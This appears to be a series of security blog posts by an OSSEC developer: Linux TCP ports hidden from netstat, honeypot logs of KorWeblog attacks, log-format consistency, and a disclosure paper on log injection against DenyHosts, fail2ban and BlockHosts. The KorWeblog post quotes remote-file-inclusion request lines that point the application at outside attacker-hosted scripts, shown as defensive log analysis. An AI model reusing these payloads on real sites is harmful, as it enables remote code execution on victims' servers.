bookmark_borderHidden ports on Linux

If you ever had trouble with hidden ports on Linux (2.4 and 2.6), I may have figured out one of the possible causes today (and no, it is not a rootkit). To keep the story short: if you bind any TCP port, but do not listen on it, netstat will not show it at all (the same does not happen with UDP ports).

Here is the idea. If you get this simple C program, it will attempt to bind every TCP port from 1025 to 1050, but it will not listen on them. After it is done, if you do a netstat (or fuser or lsof) nothing will be shown. However, if you try to use the port, you will get an error saying that it is already in use.

To reproduce, download the bind_ports.c program, compile and execute it:

dcid@copacabana:~$ wget http://www.ossec.net/files/other/bind_ports.c
..
14:56:32 (309.92 KB/s) – `bind_ports.c’ saved [1371/1371]

dcid@copacabana:~$ gcc -o bind_ports bind_ports.c
dcid@copacabana:~$ ./bind_ports &
[1] 11332

Ports from 1025 to 1050 were bind..

After that, run netstat (or lsof or fuser) to see if the port is listed (it will not be):

dcid@copacabana:~$ netstat -tan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN

However, if you try to use the port, you will receive the “already in use” error (if using nc, it takes up to 10 seconds to fail).

dcid@copacabana:~$ nc -l -p 1025
Can’t grab 0.0.0.0:1025 with bind
dcid@copacabana:~$ nc -l -p 1026
Can’t grab 0.0.0.0:1026 with bind
dcid@copacabana:~$ nc -p 1026 127.0.0.1 80
Can’t grab 0.0.0.0:1026 with bind

Anyone has ideas why this happens? If I try the same thing on OpenBSD, netstat lists all the ports correctly.

bookmark_borderHammered by web attacks (KorWeblog)

Some of my web honeypots are being hammered by attacks against KorWeblog. If fact, even my real systems are received a lot of these too.. It looks like they are trying to exploit an old vulnerability (from 2005), which sounds odd to me.

Example of alert from ossec:

OSSEC HIDS Notification.
2007 Jun 27 17:07:30

Received From: xx->/var/log/httpd/xx.access.log
Rule: 31106 fired (level 12) -> “A web attack returned code 200 (success).”
Portion of the log(s):

8.10.120.85 – – [27/Jun/2007:17:07:29 -0300] “GET /install/index.php?lng=../../include/main.inc&G_PATH=http://nicksom2d.sytes.net/ex/echo? HTTP/1.1″ 200 6349 “-” “libwww-perl/5.805″

Just one honeypot (yes, one) in the last few days was “attacked” by the following IPs (25 different):

189.1.168.118
200.193.146.100
200.219.150.6
202.123.27.136
203.55.214.70
207.150.188.50
207.226.179.98
209.216.205.81
210.188.204.198
211.247.239.10
213.194.149.130
216.7.185.31
217.170.66.240
218.228.196.88
218.239.223.225
221.127.101.45
62.193.237.43
62.75.163.196
65.98.58.2
72.232.219.205
8.10.120.85
83.103.57.13
83.217.84.88
85.125.233.222
89.110.144.202

The logs look all the same:

200.193.146.100 – – [26/Jun/2007:16:37:37 -0300] “GET /*install/index.php?lng=../../include/main.inc&G_PATH=http://www.thiaguinho.net/id.txt? HTTP/1.1″ 200 6351 “-” “libwww-perl/5.79″
8.10.120.85 – – [27/Jun/2007:17:07:29 -0300] “GET /install/index.php?lng=../../include/main.inc&G_PATH=http://nicksom2d.sytes.net/ex/echo? HTTP/1.1″ 200 6349 “-” “libwww-perl/5.805″

I posted a few of the sites that were found at the WebAttacks Links in the ossec wiki.

bookmark_borderConsistent logging – good separators

After posting my paper about Remote log injection, most of the feedback I received was regarding how “bad” these tools (e.g. DenyHosts, BlockHosts, etc) are and how bad the idea of log-based automatic response is.

Some people even said that the best approach is to just ignore these logs, since they are just noise. Yes, ignore their sshd/ftpd logs… Of course that I don’t share this opinion. SSH/FTP scans are real attacks and some systems can end up being compromised because of them (well, if they had good passwords, they wouldn’t, but that’s another discussion). Not only we should monitor for failed password attempts, but also for failed passwords followed by success, every success login, etc. Again, that’s another discussion.

Anyway, instead of blaming these tools, I would also put the “blame” on the applications that generate log messages without any good formatting or consistency. In the case of ssh, it uses spaces as a “field separator”, while the user name itself can have spaces. Not a good choice at all. The same applies for Vsftp that uses a bracket as a separator while, again, user names can have brackets.

Logs are there for a reason: to be analyzed, monitored, etc. If they are not consistent or can easily be modified based on remote log injection, they lose their value. That’s why a lot of people just ignore them…

What do I mean by consistent logging? I mean a log that is well defined and uses good separators making it easy for anyone to parse and automatic analyze them. A good example is the ProFTPD logs:

proftpd[12564]: test (hostname[192.168.1.1]) – USER xx: Login successful

Why do I think it is well formatted? Well, it starts with the hostname, followed by IP. These are not user provided input, so they can not influentiate the other fields. The second good point is that the user name separator is a “:” (colon) which is a not valid character for user names. Because of that, log analysis tools can use a simple regex looking for “:” as the end of the user name. Third, it has a descriptive message of the event (in this case, login success)…

There is a lot more on consistent logging that I would like to talk. Hopefully when CEE is really out it will address some of these issues. Comments?

bookmark_borderOSSEC on Network security hacks

I was very pleased to find out that OSSEC was featured on hack 86 – Centrally Monitor the Security Posture of Your Servers (under chapter 8 – Logging) of the Network Security Hacks (2nd edition) book.

I had the opportunity the browse through the contents and it seemed pretty good, although the author used a very old version (0.8) on their examples. Anyway, if you have a Safari account you can check it out online or you can buy the book .. Since he mentions OSSEC, it must be very good 🙂

bookmark_borderRemote log injection paper

I just finished an article about “Remote log injection”, that among other things, exposes some vulnerabilities on DenyHostsFail2ban and BlockHosts that can lead to arbitrarily injection of IP addresses in /etc/hosts.deny. To make it more “interesting” (i.e. worse), not only IP addresses can be added, but also the wild card “all”, causing it to block the whole Internet out of the box (bypassing white lists).

The paper is available here: https://dcid.me/texts/attacking-log-analysis-tools.html

Snippet from the article:

The purpose of this article is to point out some vulnerabilities that I found on open source log analysis tools aimed to stop brute force scans against SSH and ftp services. Since these tools also perform active response (automatically blocking the offending IP address), they would be good examples. However, any tool that parse logs can be equally vulnerable.

We will show three 0-day denial-of-service attacks caused by remote log injection on BlockHosts, DenyHosts and fail2ban.

This paper talks about remote log injection, where an external attacker can modify a log, based on the input it provides to an application (in our case OpenSSH and vsftpd). By modifying the way the application logs, we are able to attack these log analysis tools. We are not talking about local log modification or “syslog injection”.

bookmark_borderOSSEC Presentations at AusCERT/Confidence

During the month of May I went to AusCERT and Confidence to talk about OSSEC (i.e. Log analysis using OSSEC). On both presentations I mentioned LIDS (Log-Based intrusion detection), and provided an overview of the ossec architecture and how to write decoders and rules. If you want to learn a bit more about ossec, take a look at them.

**Note that both presentations are very similar, but the AusCERT one is a bit more organized, so recommended to be read first.OSSEC at AusCERT (Log-based Intrusion detection using OSSEC).OSSEC at Confidence (Log analysis using OSSEC).

Hope you enjoy!